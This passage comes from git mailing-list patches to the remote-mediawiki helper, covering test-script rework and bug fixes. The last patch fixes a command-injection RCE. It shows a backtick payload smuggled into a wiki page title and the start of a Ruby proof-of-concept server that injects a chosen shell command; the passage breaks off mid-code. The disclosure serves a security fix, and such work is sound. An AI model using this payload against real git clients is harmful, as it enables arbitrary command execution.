$wiki_config.'&config__NamespaceType=site-name'; -$wiki_config = $wiki_config.'&config_wgMetaNamespace=MyWiki'; -$wiki_config = $wiki_config.'&config__AdminName='.$login; - -$wiki_config = $wiki_config.'&config__AdminPassword='.$pass; -$wiki_config = $wiki_config.'&config__AdminPassword2='.$pass; - -$wiki_config = $wiki_config.'&wiki__configEmail=email%40email.org'; -$wiki_config = $wiki_config.'&config__SkipOptional=skip'; -submit('Name', $wiki_config); -submit('Install'); -submit('Install'); - -unlink($tmp_cookie); -?> diff --git a/contrib/mw-to-git/t/test-gitmw-lib.sh b/contrib/mw-to-git/t/test-gitmw-lib.sh index aa04ebfd0f..787a8a3ec0 100755 --- a/contrib/mw-to-git/t/test-gitmw-lib.sh +++ b/contrib/mw-to-git/t/test-gitmw-lib.sh @@ -13,7 +13,8 @@ . ./test.config -WIKI_URL=http://"$SERVER_ADDR:$PORT/$WIKI_DIR_NAME" +WIKI_BASE_URL=http://$SERVER_ADDR:$PORT +WIKI_URL=$WIKI_BASE_URL/$WIKI_DIR_NAME CURR_DIR=$(pwd) TEST_OUTPUT_DIRECTORY=$(pwd) TEST_DIRECTORY="$CURR_DIR"/../../../t @@ -291,28 +292,59 @@ stop_lighttpd () { test -f "$WEB_TMP/pid" && kill $(cat "$WEB_TMP/pid") } -# Create the SQLite database of the MediaWiki. If the database file already -# exists, it will be deleted. -# This script should be runned from the directory where $FILES_FOLDER is -# located. -create_db () { - rm -f "$TMP/$DB_FILE" +wiki_delete_db () { + rm -rf \ + "$FILES_FOLDER_DB"/* || error "Couldn't delete $FILES_FOLDER_DB/" +} + +wiki_delete_db_backup () { + rm -rf \ + "$FILES_FOLDER_POST_INSTALL_DB"/* || error "Couldn't delete $FILES_FOLDER_POST_INSTALL_DB/" +} - echo "Generating the SQLite database file. It can take some time ..." - # Run the php script to generate the SQLite database file - # with cURL calls. - php "$FILES_FOLDER/$DB_INSTALL_SCRIPT" $(basename "$DB_FILE" .sqlite) \ - "$WIKI_ADMIN" "$WIKI_PASSW" "$TMP" "$PORT" +# Install MediaWiki using its install.php script. If the database file +# already exists, it will be deleted. +install_mediawiki () { - if ! test -f "$TMP/$DB_FILE" + localsettings="$WIKI_DIR_INST/$WIKI_DIR_NAME/LocalSettings.php" + if test -f "$localsettings" then - error "Can't create database file $TMP/$DB_FILE. Try to run ./install-wiki.sh delete first." + error "We already installed the wiki, since $localsettings exists" \ + "perhaps you wanted to run 'delete' first?" fi - # Copy the generated database file into the directory the - # user indicated. - cp "$TMP/$DB_FILE" "$FILES_FOLDER" || - error "Unable to copy $TMP/$DB_FILE to $FILES_FOLDER" + wiki_delete_db + wiki_delete_db_backup + mkdir \ + "$FILES_FOLDER_DB/" \ + "$FILES_FOLDER_POST_INSTALL_DB/" + + install_script="$WIKI_DIR_INST/$WIKI_DIR_NAME/maintenance/install.php" + echo "Installing MediaWiki using $install_script. This may take some time ..." + + php "$WIKI_DIR_INST/$WIKI_DIR_NAME/maintenance/install.php" \ + --server $WIKI_BASE_URL \ + --scriptpath /wiki \ + --lang en \ + --dbtype sqlite \ + --dbpath $PWD/$FILES_FOLDER_DB/ \ + --pass "$WIKI_PASSW" \ + Git-MediaWiki-Test \ + "$WIKI_ADMIN" || + error "Couldn't run $install_script, see errors above. Try to run ./install-wiki.sh delete first." + cat <<-'EOF' >>$localsettings +# Custom settings added by test-gitmw-lib.sh +# +# Uploading text files is needed for +# t9363-mw-to-git-export-import.sh +$wgEnableUploads = true; +$wgFileExtensions[] = 'txt'; +EOF + + # Copy the initially generated database file into our backup + # folder + cp -R "$FILES_FOLDER_DB/"* "$FILES_FOLDER_POST_INSTALL_DB/" || + error "Unable to copy $FILES_FOLDER_DB/* to $FILES_FOLDER_POST_INSTALL_DB/*" } # Install a wiki in your web server directory. @@ -321,7 +353,6 @@ wiki_install () { start_lighttpd fi - SERVER_ADDR=$SERVER_ADDR:$PORT # In this part, we change directory to $TMP in order to download, # unpack and copy the files of MediaWiki ( @@ -332,9 +363,10 @@ wiki_install () { Please create it and launch the script again." fi - # Fetch MediaWiki's archive if not already present in the TMP directory + # Fetch MediaWiki's archive if not already present in download directory + mkdir -p "$FILES_FOLDER_DOWNLOAD" MW_FILENAME="mediawiki-$MW_VERSION_MAJOR.$MW_VERSION_MINOR.tar.gz" - cd "$TMP" + cd "$FILES_FOLDER_DOWNLOAD" if ! test -f $MW_FILENAME then echo "Downloading $MW_VERSION_MAJOR.$MW_VERSION_MINOR sources ..." @@ -355,49 +387,12 @@ wiki_install () { error "Unable to extract WikiMedia's files from $archive_abs_path to "\ "$WIKI_DIR_INST/$WIKI_DIR_NAME" ) || exit 1 + echo Extracted in "$WIKI_DIR_INST/$WIKI_DIR_NAME" - create_db - - # Copy the generic LocalSettings.php in the web server's directory - # And modify parameters according to the ones set at the top - # of this script. - # Note that LocalSettings.php is never modified. - if ! test -f "$FILES_FOLDER/LocalSettings.php" - then - error "Can't find $FILES_FOLDER/LocalSettings.php " \ - "in the current folder. "\ - "Please run the script inside its folder." - fi - cp "$FILES_FOLDER/LocalSettings.php" \ - "$FILES_FOLDER/LocalSettings-tmp.php" || - error "Unable to copy $FILES_FOLDER/LocalSettings.php " \ - "to $FILES_FOLDER/LocalSettings-tmp.php" - - # Parse and set the LocalSettings file of the user according to the - # CONFIGURATION VARIABLES section at the beginning of this script - file_swap="$FILES_FOLDER/LocalSettings-swap.php" - sed "s,@WG_SCRIPT_PATH@,/$WIKI_DIR_NAME," \ - "$FILES_FOLDER/LocalSettings-tmp.php" > "$file_swap" - mv "$file_swap" "$FILES_FOLDER/LocalSettings-tmp.php" - sed "s,@WG_SERVER@,http://$SERVER_ADDR," \ - "$FILES_FOLDER/LocalSettings-tmp.php" > "$file_swap" - mv "$file_swap" "$FILES_FOLDER/LocalSettings-tmp.php" - sed "s,@WG_SQLITE_DATADIR@,$TMP," \ - "$FILES_FOLDER/LocalSettings-tmp.php" > "$file_swap" - mv "$file_swap" "$FILES_FOLDER/LocalSettings-tmp.php" - sed "s,@WG_SQLITE_DATAFILE@,$( basename $DB_FILE .sqlite)," \ - "$FILES_FOLDER/LocalSettings-tmp.php" > "$file_swap" - mv "$file_swap" "$FILES_FOLDER/LocalSettings-tmp.php" - - mv "$FILES_FOLDER/LocalSettings-tmp.php" \ - "$WIKI_DIR_INST/$WIKI_DIR_NAME/LocalSettings.php" || - error "Unable to move $FILES_FOLDER/LocalSettings-tmp.php" \ - "in $WIKI_DIR_INST/$WIKI_DIR_NAME" - echo "File $FILES_FOLDER/LocalSettings.php is set in" \ - " $WIKI_DIR_INST/$WIKI_DIR_NAME" + install_mediawiki echo "Your wiki has been installed. You can check it at - http://$SERVER_ADDR/$WIKI_DIR_NAME" + $WIKI_URL" } # Reset the database of the wiki and the password of the admin @@ -405,13 +400,18 @@ wiki_install () { # Warning: This function must be called only in a subdirectory of t/ directory wiki_reset () { # Copy initial database of the wiki - if ! test -f "../$FILES_FOLDER/$DB_FILE" + if ! test -d "../$FILES_FOLDER_DB" then - error "Can't find ../$FILES_FOLDER/$DB_FILE in the current folder." + error "No wiki database at ../$FILES_FOLDER_DB, not installed yet?" fi - cp "../$FILES_FOLDER/$DB_FILE" "$TMP" || - error "Can't copy ../$FILES_FOLDER/$DB_FILE in $TMP" - echo "File $FILES_FOLDER/$DB_FILE is set in $TMP" + if ! test -d "../$FILES_FOLDER_POST_INSTALL_DB" + then + error "No wiki backup database at ../$FILES_FOLDER_POST_INSTALL_DB, failed installation?" + fi + wiki_delete_db + cp -R "../$FILES_FOLDER_POST_INSTALL_DB/"* "../$FILES_FOLDER_DB/" || + error "Can't copy ../$FILES_FOLDER_POST_INSTALL_DB/* to ../$FILES_FOLDER_DB/*" + echo "File $FILES_FOLDER_DB/* has been reset" } # Delete the wiki created in the web server's directory and all its content @@ -425,13 +425,7 @@ wiki_delete () { rm -rf "$WIKI_DIR_INST/$WIKI_DIR_NAME" || error "Wiki's directory $WIKI_DIR_INST/" \ "$WIKI_DIR_NAME could not be deleted" - # Delete the wiki's SQLite database. - rm -f "$TMP/$DB_FILE" || - error "Database $TMP/$DB_FILE could not be deleted." fi - - # Delete the wiki's SQLite database - rm -f "$TMP/$DB_FILE" || error "Database $TMP/$DB_FILE could not be deleted." - rm -f "$FILES_FOLDER/$DB_FILE" - rm -rf "$TMP/mediawiki-$MW_VERSION_MAJOR.$MW_VERSION_MINOR.tar.gz" + wiki_delete_db + wiki_delete_db_backup } diff --git a/contrib/mw-to-git/t/test.config b/contrib/mw-to-git/t/test.config index 3ab56c7165..ed10b3e4a4 100644 --- a/contrib/mw-to-git/t/test.config +++ b/contrib/mw-to-git/t/test.config @@ -8,10 +8,6 @@ WIKI_PASSW=AdminPass1 # Address of the web server SERVER_ADDR=localhost -# SQLite database of the wiki, named DB_FILE, is located in TMP -TMP=/tmp -DB_FILE=wikidb.sqlite - # If LIGHTTPD is not set to true, the script will use the default # web server running in WIKI_DIR_INST. WIKI_DIR_INST=/var/www @@ -28,13 +24,17 @@ WEB=WEB WEB_TMP=$WEB/tmp WEB_WWW=$WEB/www +# Where our configuration for the wiki is located +FILES_FOLDER=mediawiki +FILES_FOLDER_DOWNLOAD=$FILES_FOLDER/download +FILES_FOLDER_DB=$FILES_FOLDER/db +FILES_FOLDER_POST_INSTALL_DB=$FILES_FOLDER/post-install-db + # The variables below are used by the script to install a wiki. # You should not modify these unless you are modifying the script itself. -# tested versions: 1.19.X -> 1.21.1 +# tested versions: 1.19.X -> 1.21.1 -> 1.34.2 # # See https://www.mediawiki.org/wiki/Download for what the latest # version is. -MW_VERSION_MAJOR=1.21 -MW_VERSION_MINOR=1 -FILES_FOLDER=install-wiki -DB_INSTALL_SCRIPT=db_install.php +MW_VERSION_MAJOR=1.34 +MW_VERSION_MINOR=2 From patchwork Wed Sep 16 10:29:17 2020 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Patchwork-Submitter: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= X-Patchwork-Id: 11779647 Return-Path: Received: from mail.kernel.org (pdx-korg-mail-1.web.codeaurora.org [172.30.200.123]) by pdx-korg-patchwork-2.web.codeaurora.org (Postfix) with ESMTP id 184D9139F for ; Wed, 16 Sep 2020 12:04:36 +0000 (UTC) Received: from vger.kernel.org (vger.kernel.org [23.128.96.18]) by mail.kernel.org (Postfix) with ESMTP id F1ACE2220E for ; Wed, 16 Sep 2020 12:04:35 +0000 (UTC) Authentication-Results: mail.kernel.org; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b="gt/Xet6Z" Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S1726659AbgIPLoo (ORCPT ); Wed, 16 Sep 2020 07:44:44 -0400 Received: from lindbergh.monkeyblade.net ([23.128.96.19]:51482 "EHLO lindbergh.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S1726840AbgIPKcq (ORCPT ); Wed, 16 Sep 2020 06:32:46 -0400 Received: from mail-wr1-x443.google.com (mail-wr1-x443.google.com [IPv6:2a00:1450:4864:20::443]) by lindbergh.monkeyblade.net (Postfix) with ESMTPS id 162E1C06121E for ; Wed, 16 Sep 2020 03:30:15 -0700 (PDT) Received: by mail-wr1-x443.google.com with SMTP id w5so6317905wrp.8 for ; Wed, 16 Sep 2020 03:30:15 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025; h=from:to:cc:subject:date:message-id:in-reply-to:references :mime-version:content-transfer-encoding; bh=ZUGgYiXbI+kwOXhbioUSqfAvb5eTbe245oPLj6OI7V8=; b=gt/Xet6Zjpb3RCuuvTTTaurlfkmO+XcOiGpu/06HxXt5BOoWBpkPiWwqDdR5NtuORl 9e1fcgCumpIZ7snqG4VSVAYY47Oqj7XcxFKk+M79LqqGeVFquzosLh8+UjngT97UwXTV DFAhDv494B8/e3oa21cR9YiNUNZzc6r28nN2xxWfFSqH0lnJWXi9aW4pjEVApQnPXmLj pfmOQTXzhqmxCNgDuPo5I2IWBfF6cRwybOlvlEHXFduhTTWsRrvoyddOuhIXrLtrE9T+ Gfh8Ih286Xwzj+iwVmjTA+hg2JDFt/tjkOoE8jf1dZjHj2fdrVibmZO8VINbnOgBNrzd Pc6w== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20161025; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references:mime-version:content-transfer-encoding; bh=ZUGgYiXbI+kwOXhbioUSqfAvb5eTbe245oPLj6OI7V8=; b=jYNVMfU0wxvIx4/m8/6fQ4ZVN5r/HqnYB2XamPSr/hjOia7sU9heUDxR54Gzc9cBpI dn2R4FouItVQoEQdLm6TT3JIutCFIwzxDxYdji/zTH9ARw+tZmZC9FvEIzj58vh5E3Dj 4DZhZZtMgdiG7gR5w/EZA5Ae3dMLBj1VrtJXJl9fF/bhUK/jYJ5J5Pb6dTIStfFHYgMY z7HXr8/QJcEyDAmLmsMtAQbJdlVlPhQCDmrmyvkQFRVFug1BWGDR1l/o+mmRWjpPf6nT 4tcUjYYZXSXuwsoJgu3FNRr5UCCjUuMJM+20ONSg2EjQAjhmY1uJuyTRBocfXa4sJhs9 dyrw== X-Gm-Message-State: AOAM533CorZlI9P/hOg1b/F2NKDjMyN03LGTg6YPi7CKqfBgSjC2K19I SEDNTdf46HbY+50dMWD4neAYL+Oof9dRoMQt X-Google-Smtp-Source: ABdhPJz6JRvCvIbAvVvy1wmpV90YwyPLOkOrIC/KPD+yF6ChqaYiLRcUBycMfCdCUlkJwJDN6yn/Bg== X-Received: by 2002:adf:f084:: with SMTP id n4mr2731923wro.26.1600252213502; Wed, 16 Sep 2020 03:30:13 -0700 (PDT) Received: from vm.nix.is (vm.nix.is. [2a01:4f8:120:2468::2]) by smtp.gmail.com with ESMTPSA id n11sm32172916wrx.91.2020.09.16.03.30.12 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Wed, 16 Sep 2020 03:30:12 -0700 (PDT) From: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= To: git@vger.kernel.org Cc: Junio C Hamano , Matthieu Moy , Johannes Schindelin , =?utf-8?q?Antoine_Beaupr?= =?utf-8?q?=C3=A9?= , Simon Legner , =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBC?= =?utf-8?b?amFybWFzb24=?= Subject: [PATCH 14/15] remote-mediawiki: fix duplicate revisions being imported Date: Wed, 16 Sep 2020 12:29:17 +0200 Message-Id: <20200916102918.29805-15-avarab@gmail.com> X-Mailer: git-send-email 2.28.0.297.g1956fa8f8d In-Reply-To: <20200916102918.29805-1-avarab@gmail.com> References: <20200916102918.29805-1-avarab@gmail.com> MIME-Version: 1.0 Sender: git-owner@vger.kernel.org Precedence: bulk List-ID: X-Mailing-List: git@vger.kernel.org From: Simon Legner Fix a bug with revisions being imported twice. This commit is being backported from Git-Mediawiki.git's e41ee9b ("All revisions imported twice", 2018-02-02) to git.git. See [1] for the original commit and [2] and [3] for the upstream PR and issue. 1. https://github.com/Git-Mediawiki/Git-Mediawiki/commit/e41ee9b3a32416df381cdc79f63350665c84151e 2. https://github.com/Git-Mediawiki/Git-Mediawiki/pull/61 3. https://github.com/Git-Mediawiki/Git-Mediawiki/issues/29 Signed-off-by: Ævar Arnfjörð Bjarmason --- contrib/mw-to-git/git-remote-mediawiki.perl | 3 +++ 1 file changed, 3 insertions(+) diff --git a/contrib/mw-to-git/git-remote-mediawiki.perl b/contrib/mw-to-git/git-remote-mediawiki.perl index 08190e23e1..26d5e1a174 100755 --- a/contrib/mw-to-git/git-remote-mediawiki.perl +++ b/contrib/mw-to-git/git-remote-mediawiki.perl @@ -807,7 +807,10 @@ sub get_more_refs { sub mw_import { # multiple import commands can follow each other. my @refs = (shift, get_more_refs('import')); + my $processedRefs; foreach my $ref (@refs) { + next if $processedRefs->{$ref}; # skip duplicates: "import refs/heads/master" being issued twice; TODO: why? + $processedRefs->{$ref} = 1; mw_import_ref($ref); } print {*STDOUT} "done\n"; From patchwork Wed Sep 16 10:29:18 2020 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Patchwork-Submitter: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= X-Patchwork-Id: 11779645 Return-Path: Received: from mail.kernel.org (pdx-korg-mail-1.web.codeaurora.org [172.30.200.123]) by pdx-korg-patchwork-2.web.codeaurora.org (Postfix) with ESMTP id EB3AD1709 for ; Wed, 16 Sep 2020 12:04:35 +0000 (UTC) Received: from vger.kernel.org (vger.kernel.org [23.128.96.18]) by mail.kernel.org (Postfix) with ESMTP id D08CB2220E for ; Wed, 16 Sep 2020 12:04:35 +0000 (UTC) Authentication-Results: mail.kernel.org; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b="atitktIc" Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S1726844AbgIPLl6 (ORCPT ); Wed, 16 Sep 2020 07:41:58 -0400 Received: from lindbergh.monkeyblade.net ([23.128.96.19]:51484 "EHLO lindbergh.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S1726842AbgIPKcq (ORCPT ); Wed, 16 Sep 2020 06:32:46 -0400 Received: from mail-wm1-x341.google.com (mail-wm1-x341.google.com [IPv6:2a00:1450:4864:20::341]) by lindbergh.monkeyblade.net (Postfix) with ESMTPS id B4DA3C061220 for ; Wed, 16 Sep 2020 03:30:16 -0700 (PDT) Received: by mail-wm1-x341.google.com with SMTP id b79so2416241wmb.4 for ; Wed, 16 Sep 2020 03:30:16 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025; h=from:to:cc:subject:date:message-id:in-reply-to:references :mime-version:content-transfer-encoding; bh=plgosVe/CTD2tRxN7EcxfSvMWGhiQuu014XlAUVgbI4=; b=atitktIcq8qrgmzEnbaBivbpJxSgoA9QEDEB5FR8kj3GZe7qLfDBOJiqu4VtmVmVeJ x4beXJVMY4Z0GbGQNEtfl1z93QqL+jSknrg8y82jyZRy8q3jarTyxB2/U4tq5pW1JTUS JVTFNOviURz/dgWg9XwGa3POqBnLOuDogrFfNhA2wEDtndLs+nE/gr6Pk/uF8xNNkMQ2 8l6jVLVG4WfjjhsP1rSubvDun/7eP/VqX9YMTsuLwFKXZ3uDsH4mbmlvvJelNoNROnT2 fvsQL69d+ZMh044Nx9IxwlYY8woQra2lCQxnaks9rKQoP7OP7XQSrT6/4L7Lj8tl+4Wz G2Lg== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20161025; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references:mime-version:content-transfer-encoding; bh=plgosVe/CTD2tRxN7EcxfSvMWGhiQuu014XlAUVgbI4=; b=TG5CZNZW0+HhItx4ET8irYLRFKCNjBzHEZ1xaTVTnj3e7FXO8tBjdv/7HHIdsFCMyN oVPjoEgpPf7q2ri/OgKrC/p2bj5bRrBJgsZN4FS3dbzxEvLJfOo7q9hU0kG/MEscnSwE N4NPg2Z5/o3CeN7P2afKc7fQLTvSErrQulYeKloKpRDhEpd9wBFu5kJs9D82B3XdTxDe 6BMWrAU1d8KsNu9OHreus7HaiRML35WD1eTytWx40k0f6Ny+nrHpHYovR8iE5Byjjr8X uA2b7JWruJDbyUGD5kkomfjtq8vIM/96NhHU68nTY1XW9c4OT6FL54SXn0S4We6VbUQL PMzA== X-Gm-Message-State: AOAM532MYy8KK6E8XK8KerLgHyC42uKZzFu58zJCf1cOm9cG4NKGS0+U VXzCaWfCnEzNJ6JyVs5B0E4OxfCEWi3Kvw34 X-Google-Smtp-Source: ABdhPJzXUbpFcpSclZFF4uvWlB2QrNf/QtMeWNOhxezGVoEM3GfnmTn/xU3fazq83kxuqMCWiYaDaA== X-Received: by 2002:a1c:3d06:: with SMTP id k6mr3926869wma.27.1600252215119; Wed, 16 Sep 2020 03:30:15 -0700 (PDT) Received: from vm.nix.is (vm.nix.is. [2a01:4f8:120:2468::2]) by smtp.gmail.com with ESMTPSA id n11sm32172916wrx.91.2020.09.16.03.30.13 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Wed, 16 Sep 2020 03:30:14 -0700 (PDT) From: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= To: git@vger.kernel.org Cc: Junio C Hamano , Matthieu Moy , Johannes Schindelin , =?utf-8?q?Antoine_Beaupr?= =?utf-8?q?=C3=A9?= , Simon Legner , =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBC?= =?utf-8?b?amFybWFzb24=?= Subject: [PATCH 15/15] remote-mediawiki tests: annotate failing tests Date: Wed, 16 Sep 2020 12:29:18 +0200 Message-Id: <20200916102918.29805-16-avarab@gmail.com> X-Mailer: git-send-email 2.28.0.297.g1956fa8f8d In-Reply-To: <20200916102918.29805-1-avarab@gmail.com> References: <20200916102918.29805-1-avarab@gmail.com> MIME-Version: 1.0 Sender: git-owner@vger.kernel.org Precedence: bulk List-ID: X-Mailing-List: git@vger.kernel.org These tests consistently fail for me, and were failing before any of the changes in this series. As noted in [1] there are some known intermittent test failures. Let's mark these as failing so we can have an otherwise passing test suite. 1. https://github.com/Git-Mediawiki/Git-Mediawiki/issues/56 Signed-off-by: Ævar Arnfjörð Bjarmason --- contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh index d3de6c204a..2b5b3b6896 100755 --- a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh +++ b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh @@ -32,7 +32,7 @@ test_expect_success 'setup config' ' test_might_fail git config --global --unset remote.origin.mediaImport ' -test_expect_success 'git push can upload media (File:) files' ' +test_expect_failure 'git push can upload media (File:) files' ' wiki_reset && git clone mediawiki::'"$WIKI_URL"' mw_dir && ( @@ -48,7 +48,7 @@ test_expect_success 'git push can upload media (File:) files' ' ) ' -test_expect_success 'git clone works on previously created wiki with media files' ' +test_expect_failure 'git clone works on previously created wiki with media files' ' test_when_finished "rm -rf mw_dir mw_dir_clone" && git clone -c remote.origin.mediaimport=true \ mediawiki::'"$WIKI_URL"' mw_dir_clone && From patchwork Mon Sep 21 10:39:58 2020 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Patchwork-Submitter: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= X-Patchwork-Id: 11789287 Return-Path: Received: from mail.kernel.org (pdx-korg-mail-1.web.codeaurora.org [172.30.200.123]) by pdx-korg-patchwork-2.web.codeaurora.org (Postfix) with ESMTP id 556F059D for ; Mon, 21 Sep 2020 10:40:46 +0000 (UTC) Received: from vger.kernel.org (vger.kernel.org [23.128.96.18]) by mail.kernel.org (Postfix) with ESMTP id 362F520773 for ; Mon, 21 Sep 2020 10:40:46 +0000 (UTC) Authentication-Results: mail.kernel.org; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b="ixtSUVDj" Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S1726850AbgIUKkp (ORCPT ); Mon, 21 Sep 2020 06:40:45 -0400 Received: from lindbergh.monkeyblade.net ([23.128.96.19]:34066 "EHLO lindbergh.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S1726835AbgIUKkd (ORCPT ); Mon, 21 Sep 2020 06:40:33 -0400 Received: from mail-wr1-x442.google.com (mail-wr1-x442.google.com [IPv6:2a00:1450:4864:20::442]) by lindbergh.monkeyblade.net (Postfix) with ESMTPS id 682BDC0613D2 for ; Mon, 21 Sep 2020 03:40:33 -0700 (PDT) Received: by mail-wr1-x442.google.com with SMTP id o5so12167670wrn.13 for ; Mon, 21 Sep 2020 03:40:33 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025; h=from:to:cc:subject:date:message-id:in-reply-to:references :mime-version:content-transfer-encoding; bh=rjjRy2c8PqxnH23fb73MKz89oWnF3p7HqIOb24faIJE=; b=ixtSUVDjkIVPt8QcS41oxdUJtFeOr6TUH04OshjehZahPBQB4xXw77IRjZQcAtPDRi /2WQ2A34MG7rgLNQkE5gHgbo/DyRpTxoZPg9wWQNggZml8OxtrWdtLKge8WqXv1e+726 izcdOfYMOuR1uqKpeADHCqc8vsokIPM8Epz8yVvJy0EwdbepIMV6+3V+04bciERmKMeT lRrQloSAPZX0jo2BeV0Ua5hs3DpCo9IBzdIZt5Rix1B6PER0QhMVSQQHS0P7b0XfCDIy 26e1+IFfpyLKuH2NMzmxgQJcqtK/xXvDBNqBCv+Wa4P2D3Td93vO9Mt2lolIDq6XdJHw DNhQ== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20161025; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references:mime-version:content-transfer-encoding; bh=rjjRy2c8PqxnH23fb73MKz89oWnF3p7HqIOb24faIJE=; b=ghPfPjNe/BUbVpz+DwUJu3cfu6GolB6rl5XHyCoQYT9kGqkc12ERp8OpsdFFwzARnJ yiPy80FLn3xNwHoBaPtYwnnU4gU/WXog7myq+VfFZ4YsSzc281cDU9PVFMjM3hira+V3 3EiMDMY3EBmSCIeRZs7EDBq/DbiSH+lt/byttk7E1wWrxGYskHlI0C2kBI/GYyXmeNUf Mg5NPxKuO+qzSLRpNg7SxTPOYz7L1esByHquBCPRZbDUD0eZnow3aLwzwY1SI/T9tktl 88xYAVvHp7Jcs5h0h4Ta53CMQBpKEmuLteDTNOxz0RddAM4JUmQtRxfZj1gxEFZI+fZy 4FoA== X-Gm-Message-State: AOAM533AAL3oZJRUv7RYNGH3VvGrYsu3NuTcrW+jIz0jkUZCUdEYXodS y+jKePloy2nD+1TAx/375er7Ax9Kj2ORnQ== X-Google-Smtp-Source: ABdhPJwr4HguBzw855wRUftouOtsTbg2w1vVhoXVmKxcZt2WC6+7C1/zgTxdRTP92v8V7FQWxFPL0Q== X-Received: by 2002:adf:f190:: with SMTP id h16mr52583596wro.202.1600684831482; Mon, 21 Sep 2020 03:40:31 -0700 (PDT) Received: from vm.nix.is (vm.nix.is. [2a01:4f8:120:2468::2]) by smtp.gmail.com with ESMTPSA id 9sm18647833wmf.7.2020.09.21.03.40.30 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Mon, 21 Sep 2020 03:40:30 -0700 (PDT) From: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= To: git@vger.kernel.org Cc: Junio C Hamano , Matthieu Moy , Johannes Schindelin , =?utf-8?q?Antoine_Beaupr?= =?utf-8?q?=C3=A9?= , =?utf-8?b?xJBvw6BuIFRy4bqnbiBDw7Ru?= =?utf-8?b?ZyBEYW5o?= , imon Legner , Eric Sunshine , Jeff King , =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= , Joern Schneeweisz Subject: [PATCH v2 16/18] remote-mediawiki: convert to quoted run_git() invocation Date: Mon, 21 Sep 2020 12:39:58 +0200 Message-Id: <20200921104000.2304-17-avarab@gmail.com> X-Mailer: git-send-email 2.28.0.297.g1956fa8f8d In-Reply-To: <20200916102918.29805-1-avarab@gmail.com> References: <20200916102918.29805-1-avarab@gmail.com> MIME-Version: 1.0 Precedence: bulk List-ID: X-Mailing-List: git@vger.kernel.org Change those callsites that are able to call run_safe() with a quoted list of arguments to do so. This fixes a RCE bug in this transport helper reported by Joern Schneeweisz to the git-security mailing list. The issue is being made public due to the relative obscurity of the remote-mediawiki code. The security issue is that we'd execute a command like this via Perl's "open -|", where the $name is taken directly from the api.php response. So that a JSON response of e.g.: [...]"title":"`id>/tmp/mw`:Main Page"[..] Would result in an invocation of: git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace" From code such as this, which is being changed by this patch: run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}")); So we'd execute an arbitrary command, and also put "remote.origin.namespaceCache=:notANameSpace" in the config. With this change we quote all of this, so now we'll simply write "remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the config, and not execute any remote commands. About the implementation: as noted in [1] (see also [2]) this style of invoking open() has compatibility issues on Windows up to Perl 5.22. However, Johannes Schindelin notes that we shouldn't worry about Windows in this context because (quoting a private E-Mail of his): 1. The mediawiki helper has never been shipped as part of an official Git for Windows version. Neither has it ever been part of an official MSYS2 package. Which means that Windows users who want to use the mediawiki helper have to build Git themselves, which not many users seem to do. 2. The last Git for Windows version to ship with Perl v5.22.x was Git for Windows v2.11.1; Since Git for Windows v2.12.0 (released on February 25th, 2017), only newer Perl versions were included. So let's just use this open() API. Grepping around shows that various other Perl code we ship such as gitweb etc. uses this way of calling open(), so we shouldn't have any issues with compatibility. For further reference and future testing, here's working exploit code provided by Joern: #!/usr/bin/ruby # git client side RCE via `mediawiki` remote proof of concept # Joern Schneeweisz - GitLab Security Research Team require 'sinatra' set bind: '0.0.0.0' if not ARGV[0] puts "Please provide the shell command to be execucted." exit -1 end cmd = ARGV[0] all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd) 